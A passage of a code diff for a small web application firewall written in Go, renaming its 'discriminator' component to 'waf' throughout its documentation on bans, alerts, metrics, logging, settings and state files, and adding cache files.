+With `SWW_ADMIN_TOKEN` set, the token in `$TOKEN`, and `waf` reached as
+`waf:8080` on its network:
 
 ```sh
 # Every ban.
-curl -H "Authorization: Bearer $TOKEN" http://discriminator:8080/_sww/bans
+curl -H "Authorization: Bearer $TOKEN" http://waf:8080/_sww/bans
 
 # Ban 203.0.113.0/24 for seven days.
 curl -H "Authorization: Bearer $TOKEN" \
     --json '{"netblock": "203.0.113.0/24", "duration": "7d", "reason": "probes for logins"}' \
-    http://discriminator:8080/_sww/bans
+    http://waf:8080/_sww/bans
 
 # Lift the bans on 203.0.113.9.
 curl -H "Authorization: Bearer $TOKEN" -X DELETE \
-    http://discriminator:8080/_sww/bans/203.0.113.9
+    http://waf:8080/_sww/bans/203.0.113.9
 
-# What discriminator knows of 203.0.113.9.
+# What waf knows of 203.0.113.9.
 curl -H "Authorization: Bearer $TOKEN" \
-    http://discriminator:8080/_sww/clients/203.0.113.9
+    http://waf:8080/_sww/clients/203.0.113.9
 ```

docs/alerts.md

@@ -6,7 +6,7 @@ back or dropped.
 
 ## Events
 
-- `ban`: a ban `discriminator` made.
+- `ban`: a ban `waf` made.
 - `permanent_ban`: a permanent ban it made, or an existing ban made permanent by
   a request.
 - `core_rule_set_match`: the Core Rule Set scored a request at or over the
@@ -23,7 +23,8 @@ back or dropped.
     - the day's AbuseIPDB checks used up.
 - `file_error`: one of:
     - a rule file or state file edit with an error;
-    - a state file that cannot be written;
+    - a cache file that does not parse, at start or after an edit;
+    - a state file or cache file that cannot be written;
     - a replacement lookup database that cannot be read.
 - `summary`: the hourly summary of alerts held back.
 
@@ -34,7 +35,7 @@ on one line:
 
 ```json
 {
-    "instance": "fsn1/discriminator",
+    "instance": "fsn1/waf",
     "time": "2026-10-06T12:00:50.123461Z",
     "event": "ban",
     "host": "app.example",
@@ -79,9 +80,8 @@ on one line:
 
 - `instance`: `SWW_INSTANCE_NAME`. `time`: when the alert was raised. `event`:
   one of the events above.
-- `host`: the site of the request that raised the alert, since one
-  `discriminator` serves many sites. It is left out of `source_failure`,
-  `file_error` and `summary`.
+- `host`: the site of the request that raised the alert, since one `waf` serves
+  many sites. It is left out of `source_failure`, `file_error` and `summary`.
 - `client`: the address whose request raised the alert. Empty for
   `source_failure`, `file_error` and `summary`.
 - `netblock`: empty for `source_failure`, `file_error` and `summary`; otherwise
@@ -111,8 +111,8 @@ on one line:
 ## Slack and ntfy
 
 Slack and ntfy get a message with a title and a text. The title is the instance
-and the event, such as `fsn1/discriminator: ban`. The text is the `reason`, then
-one line for each of these that the alert has:
+and the event, such as `fsn1/waf: ban`. The text is the `reason`, then one line
+for each of these that the alert has:
 
 - the host, the client, the netblock and the country;
 - the file, the source, the error and the mode from `detail`;

docs/image.md

@@ -1,9 +1,9 @@
 # What the image holds
 
 The contents of the `smallwebwaf` image, and how each part is pinned. The image
-runs `rproxy` by default, or `discriminator` with `SWW_COMMAND=discriminator`.
-"Deployment" in [`SPEC.md`](../SPEC.md) says why each part is there and why it
-is pinned that way.
+runs `rproxy` by default, or `waf` with `SWW_COMMAND=waf`. "Deployment" in
+[`SPEC.md`](../SPEC.md) says why each part is there and why it is pinned that
+way.
 
 ## Contents
 
@@ -18,8 +18,9 @@ is pinned that way.
 - The `sww` binary, and the user `sww` (uid and gid 65532).
 - The service directory `/etc/service/sww`, with the `run` script
   `share/sww.run`.
-- `/var/lib/sww` for `discriminator`'s state files, and `/etc/sww/rules.d` with
-  the default rule file `share/rules.d/00-default.rules`.
+- `/var/lib/sww` for `waf`'s state files, and `/etc/sww/rules.d` with the
+  default rule file `share/rules.d/00-default.rules`. The `run` script makes
+  `SWW_STATE_DIR` when it is missing.
 - `EXPOSE 8080`, and the `HEALTHCHECK` that runs `sww healthcheck`.
 
 ## Pins

docs/metrics.md

@@ -1,8 +1,8 @@
 # The metrics
 
-What `GET /_sww/metrics` answers with, at `discriminator`'s own address.
-"Metrics endpoint" in [`SPEC.md`](../SPEC.md) describes the endpoint. Prometheus
-keeps the `instance` label as `exported_instance` unless the scrape sets
+What `GET /_sww/metrics` answers with, at `waf`'s own address. "Metrics
+endpoint" in [`SPEC.md`](../SPEC.md) describes the endpoint. Prometheus keeps
+the `instance` label as `exported_instance` unless the scrape sets
 `honor_labels: true`. `rproxy` has no metrics.
 
 Every `sww_*request_bytes_total` and `sww_*response_bytes_total` series counts
@@ -15,7 +15,7 @@ body bytes, never headers, whatever `SWW_BYTES_COUNT` says.
 - `sww_request_duration_seconds` and `sww_upstream_duration_seconds`, as
   histograms;
 - `sww_requests_in_flight`: the questions and requests to its own endpoints that
-  `discriminator` is handling.
+  `waf` is handling.
 
 ## Limits and bans
 
@@ -58,9 +58,9 @@ By `source`: each list's URL, each zone, and `abuseipdb`:
 - `sww_reputation_last_fetch_timestamp_seconds`, for a list;
 - `sww_reputation_daily_budget_remaining`, for AbuseIPDB.
 
-## State files
+## State and cache files
 
-By `file`:
+By `file`, the name of a state or cache file:
 
 - `sww_state_file_writes_total`, `sww_state_file_write_failures_total`,
   `sww_state_file_last_write_timestamp_seconds` and `sww_state_file_size_bytes`;
@@ -78,8 +78,8 @@ By `file`:
 
 ## When a request is counted
 
-`discriminator` counts a denied request at its decision, and a request to its
-own endpoints when it is answered. It counts an allowed request when its report
+`waf` counts a denied request at its decision, and a request to its own
+endpoints when it is answered. It counts an allowed request when its report
 comes, with the status, bytes and times the report gives. These are not counted:
 
 - a report itself;

docs/request-log.md

@@ -1,32 +1,32 @@
 # The request log's fields
 
-The fields of the JSON objects `rproxy` and `discriminator` write about each
-request. "Request log" and "The log" in [`SPEC.md`](../SPEC.md) say when a line
-is written and how the log is sent to a syslog server. A field that does not
-apply to a request is left out.
+The fields of the JSON objects `rproxy` and `waf` write about each request.
+"Request log" and "The log" in [`SPEC.md`](../SPEC.md) say when a line is
+written and how the log is sent to a syslog server. A field that does not apply
+to a request is left out.
 
-## `discriminator`'s lines
+## `waf`'s lines
 
-`sww discriminator` writes two lines for each question it answers, joined by
-`request_id`. The field `discriminator_line` says which of the two a line is:
+`sww waf` writes two lines for each question it answers, joined by `request_id`.
+The field `waf_line` says which of the two a line is:
 
 - `decision`: the line it writes once it has answered the question;
 - `report`: the line it writes when `rproxy`'s report comes, with everything
   known. The repetition is intended.
 
-A request to its own endpoints writes one line, without `discriminator_line`. A
-report writes no line but the `report` line of the request it names.
+A request to its own endpoints writes one line, without `waf_line`. A report
+writes no line but the `report` line of the request it names.
 
 These questions write no line:
 
-- a question refused with `400` (see "The question" under "`discriminator`" in
+- a question refused with `400` (see "The question" under "`waf`" in
   [`SPEC.md`](../SPEC.md));
 - a question whose body stopped arriving, which gets no answer.
 
 A `report` line:
 
 ```
-{"type":"request","discriminator_line":"report","time":"2026-10-03T12:00:00.123Z","instance":"fsn1/discriminator","client_ip":"203.0.113.9","method":"GET","scheme":"https","host":"app.example","path":"/","query":"","protocol":"HTTP/1.1","status":200,"request_bytes":0,"response_bytes":5120,"referer":"","user_agent":"curl/8.9.1","request_id":"7Q2NHZ4KJ3VXW5YB6R3MEFTD2A","peer_ip":"172.18.0.2","forwarded_for":"203.0.113.9","client_group":"203.0.113.9/32","asn":"AS64496","as_name":"Example Net","country":"DE","request_headers":{"accept":"*/*"},"action":"forward","counts":{"minute":1,"hour":12,"day":40,"minute_bytes":5120,"hour_bytes":61440,"day_bytes":204800},"core_rule_set_score":0,"duration_total_ms":3.217,"duration_checks_ms":0.041,"duration_core_rule_set_ms":0.029,"duration_upstream_total_ms":3.104}
+{"type":"request","waf_line":"report","time":"2026-10-03T12:00:00.123Z","instance":"fsn1/waf","client_ip":"203.0.113.9","method":"GET","scheme":"https","host":"app.example","path":"/","query":"","protocol":"HTTP/1.1","status":200,"request_bytes":0,"response_bytes":5120,"referer":"","user_agent":"curl/8.9.1","request_id":"7Q2NHZ4KJ3VXW5YB6R3MEFTD2A","peer_ip":"172.18.0.2","forwarded_for":"203.0.113.9","client_group":"203.0.113.9/32","asn":"AS64496","as_name":"Example Net","country":"DE","request_headers":{"accept":"*/*"},"action":"forward","counts":{"minute":1,"hour":12,"day":40,"minute_bytes":5120,"hour_bytes":61440,"day_bytes":204800},"core_rule_set_score":0,"duration_total_ms":3.217,"duration_checks_ms":0.041,"duration_core_rule_set_ms":0.029,"duration_upstream_total_ms":3.104}
 ```
 
 ### Every line
@@ -41,9 +41,8 @@ Every one of these lines has:
 
 ### Standard web log fields
 
-- `time`: when `discriminator` had read the question's body, RFC 3339 with
-  milliseconds, in UTC. The `report` line gives the same time as the `decision`
-  line.
+- `time`: when `waf` had read the question's body, RFC 3339 with milliseconds,
+  in UTC. The `report` line gives the same time as the `decision` line.
 - `instance`: `SWW_INSTANCE_NAME`.
 - `client_ip`: the visitor's address, as `rproxy` worked it out.
 - `method`, `path` and `query`: the visitor's request.
@@ -52,9 +51,8 @@ Every one of these lines has:
 - `host`: the site the visitor asked for.
 - `protocol`: the question's own, `HTTP/1.1`.
 - `status`:
-    - on the `decision` line, what `discriminator` answered: `200` for `allow`,
-      the status of `deny`, or `0` for `close`, as the visitor is then sent
-      nothing;
+    - on the `decision` line, what `waf` answered: `200` for `allow`, the status
+      of `deny`, or `0` for `close`, as the visitor is then sent nothing;
     - on the `report` line, what the visitor got, `0` if nothing.
 - `request_bytes`:
     - on the `decision` line, how much of the question's body the Core Rule Set
@@ -62,7 +60,7 @@ Every one of these lines has:
     - on the `report` line, the bytes of the visitor's body that `rproxy` read,
       with what a WebSocket carried from the visitor.
 - `response_bytes`:
-    - on the `decision` line, the body of `discriminator`'s answer;
+    - on the `decision` line, the body of `waf`'s answer;
     - on the `report` line, the bytes of the answer's body, with what a
       WebSocket carried from the app.
 - `referer` and `user_agent`.
@@ -79,7 +77,7 @@ Every one of these lines has:
     - lookups are off;
     - the client is not looked up;
     - the source cannot place the client;
-    - GeoJS had not answered by the time `discriminator` answered.
+    - GeoJS had not answered by the time `waf` answered.
 - `content_type`: the visitor's `Content-Type`.
 - `content_length`: the body length the visitor announced.
 - `request_headers`: the headers listed in `SWW_LOG_REQUEST_HEADERS`, by name in
@@ -89,7 +87,7 @@ Every one of these lines has:
 
 ### Response detail
 
-- `response_content_type`: the type of `discriminator`'s own answer.
+- `response_content_type`: the type of `waf`'s own answer.
 - `aborted`: true when `rproxy` went away before the answer.
 
 ### Decision
@@ -105,8 +103,8 @@ Every one of these lines has:
     - `country_denied`, `client_is_rate_limited`, `blocked_by_block_rule` and
       `blocked_by_core_rule_set`: refused by that check;
     - `request_header_too_large`: over a header limit;
-    - `own_endpoint`: answered at one of `discriminator`'s own endpoints, or
-      `404` for a path under `/_sww/`.
+    - `own_endpoint`: answered at one of `waf`'s own endpoints, or `404` for a
+      path under `/_sww/`.
 - `would_action`: in `observe` mode, what `enforce` mode would have done with a
   request it would have refused. `action` then names what was done, normally
   `forward`.
@@ -131,9 +129,8 @@ Every one of these lines has:
     - `core_rule_set`: `score`, and `threshold`, `SWW_WAF_ANOMALY_THRESHOLD`;
     - `refusal_limit`: `window`, `count` and `limit`, of the error burst;
     - `byte_limits`: `window`, `count` and `limit`, the count in bytes.
-- `after_answer_heuristic`: the heuristic that banned the client after
-  `discriminator` answered the request, in `observe` mode too: `refusal_limit`
-  or `byte_limits`.
+- `after_answer_heuristic`: the heuristic that banned the client after `waf`
+  answered the request, in `observe` mode too: `refusal_limit` or `byte_limits`.
 - `after_answer_heuristic_figures`: an object of the figures that heuristic
   acted on, as listed above.
 
@@ -191,8 +188,8 @@ Every one of these lines has:
 All in milliseconds:
 
 - `duration_total_ms`:
-    - on the `decision` line, from `discriminator` having read the question's
-      body to the line;
+    - on the `decision` line, from `waf` having read the question's body to the
+      line;
     - on the `report` line, from `rproxy` having read the request's headers to
       the end of the answer.
 - `duration_checks_ms`: to the end of the checks;
@@ -202,8 +199,8 @@ All in milliseconds:
 
 ### Requests to its own endpoints
 
-The line of a request to `discriminator`'s own endpoints has these fields, with
-these meanings where they differ:
+The line of a request to `waf`'s own endpoints has these fields, with these
+meanings where they differ:
 
 - `client_ip` and `peer_ip`: the request's TCP peer.
 - `request_id`: a new random one of 26 letters and digits.
@@ -216,7 +213,7 @@ these meanings where they differ:
 ## `rproxy`'s line
 
 `sww rproxy` writes one short line for each request. `request_id` joins it to
-`discriminator`'s two. It has these fields and no others:
+`waf`'s two. It has these fields and no others:
 
 - `type`: `request`.
 - `time`: when the request arrived, RFC 3339 with milliseconds, in UTC.
@@ -231,15 +228,15 @@ these meanings where they differ:
   carried from the app.
 - `duration_request_ms`: milliseconds from the request's headers being read
   until the app had been sent the whole request, or the answer started if that
-  was sooner. It includes the wait for `discriminator`.
+  was sooner. It includes the wait for `waf`.
 - `duration_response_ms`: milliseconds from then until the end of the answer.
 - `disposition`: what was done with the request: `allow`, `deny` or `close`. It
-  is `discriminator`'s answer, or the value of `SWRP_DEFAULT_DISPOSITION`. It is
-  left out when:
-    - `discriminator` was not asked, as for the health check;
-    - the visitor went away while `discriminator` was being asked;
-    - `discriminator`'s answer had no valid `X-Sww-Disposition`;
-    - `rproxy` could not pass on `discriminator`'s answer, and answered `502`.
+  is `waf`'s answer, or the value of `SWRP_DEFAULT_DISPOSITION`. It is left out
+  when:
+    - `waf` was not asked, as for the health check;
+    - the visitor went away while `waf` was being asked;
+    - `waf`'s answer had no valid `X-Sww-Disposition`;
+    - `rproxy` could not pass on `waf`'s answer, and answered `502`.
 - `default_disposition`: `true` when `SWRP_DEFAULT_DISPOSITION` gave
   `disposition`, and otherwise left out.
 

docs/rules.md

@@ -54,20 +54,18 @@ empty-agent      user_agent  log     ^$
 
 ## A file of your own
 
-`discriminator` reads the rule files in its own container. Rules of your own go
-in a file named to sort after the default, such as `50-site.rules`:
+`waf` reads the rule files in its own container. Rules of your own go in a file
+named to sort after the default, such as `50-site.rules`:
 
 ```
 # 50-site.rules: WordPress probes, which this site never serves
 wp-probe         path        ban     (?i)^/(wp-login\.php|xmlrpc\.php|wp-admin/)
 ```
 
-A `Dockerfile` built on the `smallwebwaf` image, for `discriminator` to run
-from, adds it:
+A `Dockerfile` built on the `smallwebwaf` image, for `waf` to run from, adds it:
 
 ```dockerfile
 COPY 50-site.rules /etc/sww/rules.d/50-site.rules
 ```
 
-Or mount it there. A `path` rule applies on every site behind that
-`discriminator`.
+Or mount it there. A `path` rule applies on every site behind that `waf`.

docs/settings.md

@@ -4,9 +4,9 @@ Every setting, its default and the values it takes, in the groups of "Settings"
 in [`SPEC.md`](../SPEC.md). That section gives the conventions, the settings
 that take `off`, the `_FILE` form, and what each group does and why.
 
-The settings that start with `SWW_` are `discriminator`'s. Those that start with
-`SWRP_` are `rproxy`'s, and are under "`rproxy`" below. `SWW_COMMAND` chooses
-between the two (see "The image's command" below).
+The settings that start with `SWW_` are `waf`'s. Those that start with `SWRP_`
+are `rproxy`'s, and are under "`rproxy`" below. `SWW_COMMAND` chooses between
+the two (see "The image's command" below).
 
 ## Forms of values
 
@@ -28,21 +28,20 @@ between the two (see "The image's command" below).
 
 ## Core
 
-- `SWW_LISTEN_ADDR` (default `:8080`): where `discriminator` listens: `:` and a
-  port, such as `:9000`. Leave the host out (see "Ports" in
-  [`SPEC.md`](../SPEC.md)).
+- `SWW_LISTEN_ADDR` (default `:8080`): where `waf` listens: `:` and a port, such
+  as `:9000`. Leave the host out (see "Ports" in [`SPEC.md`](../SPEC.md)).
 - `SWW_INSTANCE_NAME` (default: the container's host name): the `instance` name
-  in each line `discriminator` logs, and in each alert and metric, such as
-  `fsn1/discriminator`. Valid UTF-8. No control character while
-  `SWW_ALERT_NTFY_URL` is set. 1 to 48 printable ASCII characters without a
-  space while `SWW_LOG_REMOTE_URL` is set and `SWW_LOG_REMOTE_APP_NAME` is not.
+  in each line `waf` logs, and in each alert and metric, such as `fsn1/waf`.
+  Valid UTF-8. No control character while `SWW_ALERT_NTFY_URL` is set. 1 to 48
+  printable ASCII characters without a space while `SWW_LOG_REMOTE_URL` is set
+  and `SWW_LOG_REMOTE_APP_NAME` is not.
 - `SWW_MODE` (default `enforce`): `enforce` or `observe`.
 - `SWW_IPV6_GROUP_PREFIX` (default `64`): the prefix length of an IPv6 client's
   group, from 32 to 128.
 - `SWW_MAX_TRACKED_CLIENTS` (default `20000`): the most clients kept, a whole
   number above zero.
-- `SWW_MAX_BANS` (default `5000`): how many of its own bans `discriminator`
-  keeps, a whole number above zero.
+- `SWW_MAX_BANS` (default `5000`): how many of its own bans `waf` keeps, a whole
+  number above zero.
 
 ## Tokens
 
@@ -51,19 +50,21 @@ between the two (see "The image's command" below).
 - `SWW_METRICS_TOKEN` (default unset): the token for `/_sww/metrics`. At least
   32 characters.
 
-## State files
+## State and cache files
 
 - `SWW_STATE_DIR` (default `/var/lib/sww`): the directory of the state files, an
-  absolute path that exists and can be written.
+  absolute path that can be written. The image's `run` script makes it.
 - `SWW_STATE_WRITE_DELAY` (default `10s`): how long `bans.json` waits to be
   written after a ban is made, lifted or made permanent. A duration.
-- `SWW_STATE_COUNTER_INTERVAL` (default `15m`): how often every state file is
-  written. A duration.
+- `SWW_STATE_COUNTER_INTERVAL` (default `15m`): how often every state and cache
+  file is written. A duration.
+- `SWW_CACHE_DIR` (default `/var/cache/sww`): the directory of the cache files,
+  an absolute path that can be written. The image's `run` script makes it.
 
 ## Logging
 
-- `SWW_LOG_LEVEL` (default `info`): the least severe of `discriminator`'s own
-  messages that are written: `debug`, `info`, `warn` or `error`.
+- `SWW_LOG_LEVEL` (default `info`): the least severe of `waf`'s own messages
+  that are written: `debug`, `info`, `warn` or `error`.
 - `SWW_LOG_REQUEST_HEADERS` (default
   `accept,accept-language,accept-encoding,content-type,origin,range`): the
   request headers recorded in the log line, in either case. `Host` and
@@ -167,8 +168,8 @@ cut off; the client is banned.
 
 ## Request tags
 
-Every request gets tags from what `discriminator` knows of its client. See
-"Request tags" in [`SPEC.md`](../SPEC.md).
+Every request gets tags from what `waf` knows of its client. See "Request tags"
+in [`SPEC.md`](../SPEC.md).
 
 - `SWW_TAG_LISTS` (default empty): address lists that each add a tag, as
   `name=URL` pairs, such as `torexit=https://example.com/tor.txt`. A name is the
@@ -188,10 +189,10 @@ Every request gets tags from what `discriminator` knows of its client. See
 
 - `SWW_ROUTEWATCH_URL` (default unset): the `http` or `https` URL of a
   routewatch instance. [routewatch](https://git.eeqj.de/sneak/routewatch) is a
-  service that gives an address's announced netblock and origin AS.
-  `discriminator` asks it about each client, in the background, and adds the
-  tags `asn=<number>` and `prefix=<netblock>` from its answer. While it is
-  unset, nothing asks routewatch and no request gets a `prefix=` tag.
+  service that gives an address's announced netblock and origin AS. `waf` asks
+  it about each client, in the background, and adds the tags `asn=<number>` and
+  `prefix=<netblock>` from its answer. While it is unset, nothing asks
+  routewatch and no request gets a `prefix=` tag.
 
 `SWW_TAG_DENY` and `SWW_TAG_LIMIT_PERCENT` accept tags in either case. A tag
 that no request can get stops the start. A request can get only these:
@@ -377,7 +378,7 @@ Then mount its directory into the container read-only, and name the file:
 ```sh
 docker run \
     -v /srv/app/tokens:/etc/sww/tokens:ro \
-    -e SWW_COMMAND=discriminator \
+    -e SWW_COMMAND=waf \
     -e SWW_METRICS_TOKEN_FILE=/etc/sww/tokens/metrics \
     ...
 ```
@@ -391,21 +392,20 @@ A few limits are fixed rather than settings:
 - at most 1,000 DNS blocklist queries are under way at once;
 - at most 20,000 anomaly counters are kept;
 - each alert destination's queue holds at most 1,000 alerts;
-- `discriminator` holds at most 10,000 answered requests awaiting their reports;
-- `discriminator` refuses a request with more than 50 cookies or more than 100
-  header fields (see "Answering in time" under "`discriminator`" in
-  [`SPEC.md`](../SPEC.md));
+- `waf` holds at most 10,000 answered requests awaiting their reports;
+- `waf` refuses a request with more than 50 cookies or more than 100 header
+  fields (see "Answering in time" under "`waf`" in [`SPEC.md`](../SPEC.md));
 - `rproxy` takes a request line and headers of at most 32 KiB, and closes a
   kept-open connection idle for 120 seconds;
-- `rproxy` reads at most 1 MiB of the body of `discriminator`'s answer, and
-  answers `502` to a longer one.
+- `rproxy` reads at most 1 MiB of the body of `waf`'s answer, and answers `502`
+  to a longer one.
 
-## `discriminator`'s answer and `rproxy`'s wait
+## `waf`'s answer and `rproxy`'s wait
 
 `SWW_LOOKUP_TIMEOUT` is the longest a question waits on an outside source. Keep
 it well under `rproxy`'s `SWRP_TIMEOUT_MS`, as the default is. No question waits
 for `SWW_REPUTATION_TIMEOUT`, since the DNS blocklists and AbuseIPDB are asked
-in the background (see "Answering in time" under "`discriminator`" in
+in the background (see "Answering in time" under "`waf`" in
 [`SPEC.md`](../SPEC.md)).
 
 ## `rproxy`
@@ -417,16 +417,15 @@ they do.
 
 A time here is a whole number of milliseconds above zero, such as `2000`.
 
-- `SWRP_WAF_BACKEND` (required, no default): `discriminator`'s URL. An `http` or
-  `https` URL with a host and an optional port, and nothing more. `rproxy`
-  speaks HTTP/1.1 to it.
-- `SWRP_TIMEOUT_MS` (default `2000`): how long `rproxy` waits for
-  `discriminator`'s answer, to a question and to a report. A time; never `off`.
+- `SWRP_WAF_BACKEND` (required, no default): `waf`'s URL. An `http` or `https`
+  URL with a host and an optional port, and nothing more. `rproxy` speaks
+  HTTP/1.1 to it.
+- `SWRP_TIMEOUT_MS` (default `2000`): how long `rproxy` waits for `waf`'s
+  answer, to a question and to a report. A time; never `off`.
 - `SWRP_DEFAULT_DISPOSITION` (default `allow`): what is done with a request when
-  `discriminator` cannot be connected to, does not answer at all, or does not
-  answer within `SWRP_TIMEOUT_MS`. `allow` passes it to the app, and `deny`
-  answers `503`. It does not apply to an answer `discriminator` gives, such as
-  an error.
+  `waf` cannot be connected to, does not answer at all, or does not answer
+  within `SWRP_TIMEOUT_MS`. `allow` passes it to the app, and `deny` answers
+  `503`. It does not apply to an answer `waf` gives, such as an error.
 - `SWRP_MAX_REQUEST_SIZE` (default `100M`): the largest request body. A size or
   `off`.
 - `SWRP_MAX_RESPONSE_SIZE` (default `1G`): the largest response body. A size or
@@ -452,8 +451,8 @@ A time here is a whole number of milliseconds above zero, such as `2000`.
 ## The image's command
 
 `SWW_COMMAND` (default `rproxy`) chooses what the image runs and what its health
-check checks: `rproxy` or `discriminator` (see "Deployment" in
-[`SPEC.md`](../SPEC.md)). It cannot be given as a file.
+check checks: `rproxy` or `waf` (see "Deployment" in [`SPEC.md`](../SPEC.md)).
+It cannot be given as a file.
 
 ## Where earlier settings went
 

docs/state-files.md

@@ -1,13 +1,28 @@
-# State files
+# State and cache files
 
-The five JSON files in `SWW_STATE_DIR`, and what each holds. "Persistent state"
-in [`SPEC.md`](../SPEC.md) says how they are written, read and edited. Each has
-a top-level `version` of 1.
+The JSON files `waf` keeps, and what each holds. "Persistent state" in
+[`SPEC.md`](../SPEC.md) says how they are written, read and edited. Each has a
+top-level `version` of 1.
+
+- The state files are in `SWW_STATE_DIR`, `/var/lib/sww` by default. They hold
+  what cannot be fetched again, so back them up:
+    - `bans.json`;
+    - `clients.json`;
+    - `abuseipdb-checks-spent.json`;
+    - `alerts.json`.
+- The cache files are in `SWW_CACHE_DIR`, `/var/cache/sww` by default. They hold
+  answers from outside services, which are asked again when a file is lost, so
+  the directory can be left out of backups:
+    - `lookups.json`;
+    - `lists.json`;
+    - `dnsbl.json`;
+    - `abuseipdb-scores.json`;
+    - `routewatch.json`.
 
 ## `bans.json`
 
 Active and past bans: every ban an admin made, and up to `SWW_MAX_BANS` of those
-`discriminator` made. Per entry:
+`waf` made. Per entry:
 
 - `netblock`, `start` and `expires` (`null` for a permanent ban);
 - `cause`: `attack`, `limit`, `admin` or `crowdsec`;
@@ -67,21 +82,13 @@ since it was first seen:
   `blocked_by_core_rule_set`. A file may also hold `token_refused`, which is
   kept, and which nothing adds to.
 
-## `lookups.json`
+## `abuseipdb-checks-spent.json`
 
-GeoJS answers, one per line:
+The AbuseIPDB checks spent today, so that a restart does not spend the daily
+budget again:
 
-- `client`;
-- `asn`, `as_name` and `country`;
-- `answered`: when GeoJS answered;
-- `used`: when the answer was last used.
-
-## `reputation.json`
-
-- the last good copy of each list fetched from a URL, with when it was last
-  tried;
-- each DNS blocklist verdict still in use;
-- AbuseIPDB's scores, and the checks spent today.
+- `day`: the day, in UTC;
+- `spent`: the checks spent on it.
 
 ## `alerts.json`
 
@@ -91,6 +98,51 @@ GeoJS answers, one per line:
 - the alerts sent and held back in the current hour;
 - the alerts waiting for each destination.
 
+## `lookups.json`
+
+A cache file. GeoJS answers, one per line:
+
+- `client`;
+- `asn`, `as_name` and `country`;
+- `answered`: when GeoJS answered;
+- `used`: when the answer was last used.
+
+## `lists.json`
+
+A cache file. The last good copy of each list fetched from a URL, with when it
+was last tried:
+
+- `url`;
+- `tried`: when it was last fetched or tried;
+- `fetched` and `lines`: when the last good copy was fetched, and its lines,
+  comment lines included.
+
+## `dnsbl.json`
+
+A cache file. Each DNS blocklist verdict still in use, one per line:
+
+- `zone` and `client`;
+- `listed`: whether the zone lists the client;
+- `fetched`: when the zone answered.
+
+## `abuseipdb-scores.json`
+
+A cache file. AbuseIPDB's scores still in use, one per line:
+
+- `client`;
+- `score`: from 0 to 100;
+- `fetched`: when AbuseIPDB answered.
+
+## `routewatch.json`
+
+A cache file. routewatch's answers from the last hour, one per line:
+
+- `client`;
+- `netblock`: the netblock the client's address is announced in, empty for an
+  address without a live route;
+- `asn`: the number of the AS that originates the netblock, 0 for none;
+- `answered`: when routewatch answered.
+
 ## Sizes
 
 - `clients.json`: about 1 KiB per client, about 20 MiB at the default
@@ -102,4 +154,7 @@ GeoJS answers, one per line:
   more.
 - `lookups.json`: about 150 bytes per answer, under 1.5 GiB of writes a day when
   full.
-- `reputation.json` and `alerts.json`: usually a few MiB or less.
+- `routewatch.json`: about 120 bytes per answer, at most about 12 MiB.
+- `abuseipdb-checks-spent.json`: a few bytes.
+- `lists.json`, `dnsbl.json`, `abuseipdb-scores.json` and `alerts.json`: usually
+  a few MiB or less.

go.mod

@@ -3,6 +3,7 @@ module sneak.berlin/go/smallwebwaf
 go 1.26.0
 
 require (
+	cloud.google.com/go v0.123.0
 	github.com/corazawaf/coraza-coreruleset/v4 v4.25.0
 	github.com/corazawaf/coraza/v3 v3.8.2-0.20261022102553-d028be399c68
 	github.com/fsnotify/fsnotify v1.10.1

go.sum

@@ -1,3 +1,5 @@
+cloud.google.com/go v0.123.0 h1:2NAUJwPR47q+E35uaJeYoNhuNEM9kM8SjgRgdeOJUSE=
+cloud.google.com/go v0.123.0/go.mod h1:xBoMV08QcqUGuPW65Qfm1o9Y4zKZBpGS+7bImXLTAZU=
 github.com/beorn7/perks v1.0.1 h1:VlbKKnNfV8bJzeqoa4cOKqO6bYr3WgKZxO8Z16+hsOM=
 github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw=
 github.com/cespare/xxhash/v2 v2.3.0 h1:UL815xU9SqsFlibzuggzjXhog7bL6oX9BbNZnL2UFvs=

internal/alerts/alerts.go

@@ -56,9 +56,11 @@ const (
 	// of a list failing, a query to a DNSBL zone or a check with AbuseIPDB
 	// failing or refused, or the day's AbuseIPDB checks used up.
 	EventSourceFailure = "source_failure"
-	// EventFileError is a rule file or state file edited while sww
-	// runs that does not parse, a replacement of the lookup database that
-	// cannot be read, or a state file that cannot be written.
+	// EventFileError is one of:
+	//   - a rule file or state file edited while sww runs that does not parse;
+	//   - a cache file that does not parse, at start or after an edit;
+	//   - a state file or cache file that cannot be written;
+	//   - a replacement of the lookup database that cannot be read.
 	EventFileError = "file_error"
 	// EventSummary is the summary sent as an hour ends: of the alerts held
 	// back in it past SWW_ALERT_MAX_PER_HOUR, and of the repeats held
@@ -151,7 +153,7 @@ type Params struct {
 // Alert is one alert, as the webhook is sent it and alerts.json holds it,
 // with the fields of "The JSON object" in docs/alerts.md. ASN, ASName and
 // Country are, for a ban, the client's as the ban's notes give them. Host is
-// the site of the request that raised the alert, while one discriminator serves
+// the site of the request that raised the alert, while one waf serves
 // many sites, and "" otherwise.
 //
 //nolint:tagliatelle // docs/alerts.md names the alert's fields in snake_case
@@ -289,7 +291,15 @@ func cooldownKeyOf(alert *Alert) cooldownKey {
 	asn, _ := alert.Detail["asn"].(string)
 	name, _ := alert.Detail["name"].(string)
 
-	return cooldownKey{alert.Event, alert.Netblock, file, source, scope, asn, name}
+	return cooldownKey{
+		alert.Event,
+		alert.Netblock,
+		file,
+		source,
+		scope,
+		asn,
+		name,
+	}
 }
 
 // New returns a Queue with no alert yet.
@@ -331,7 +341,8 @@ func New(params Params) *Queue {
 // queue of each destination, from which Run sends it, and with queueSize
 // alerts waiting for a destination, the oldest is dropped.
 func (q *Queue) Raise(alert Alert) {
-	if len(q.destinations) == 0 || !slices.Contains(q.params.Events, alert.Event) {
+	if len(q.destinations) == 0 ||
+		!slices.Contains(q.params.Events, alert.Event) {
 		return
 	}
 
@@ -378,7 +389,8 @@ func (q *Queue) WouldSend(event string, netblock netip.Prefix) bool {
 	now := q.params.Now()
 
 	last, found := q.cooldowns[cooldownKey{event: event, netblock: netblock}]
-	if q.params.Cooldown > 0 && found && now.Sub(last.Sent) < q.params.Cooldown {
+	if q.params.Cooldown > 0 && found &&
+		now.Sub(last.Sent) < q.params.Cooldown {
 		return false
 	}
 
@@ -472,10 +484,15 @@ func (q *Queue) Snapshot() State {
 	}
 
 	slices.SortFunc(state.Cooldowns, func(a, b Cooldown) int {
-		return cmp.Or(a.Netblock.Compare(b.Netblock), cmp.Compare(a.Event, b.Event),
-			cmp.Compare(a.File, b.File), cmp.Compare(a.Source, b.Source),
-			cmp.Compare(a.Scope, b.Scope), cmp.Compare(a.ASN, b.ASN),
-			cmp.Compare(a.Name, b.Name))
+		return cmp.Or(
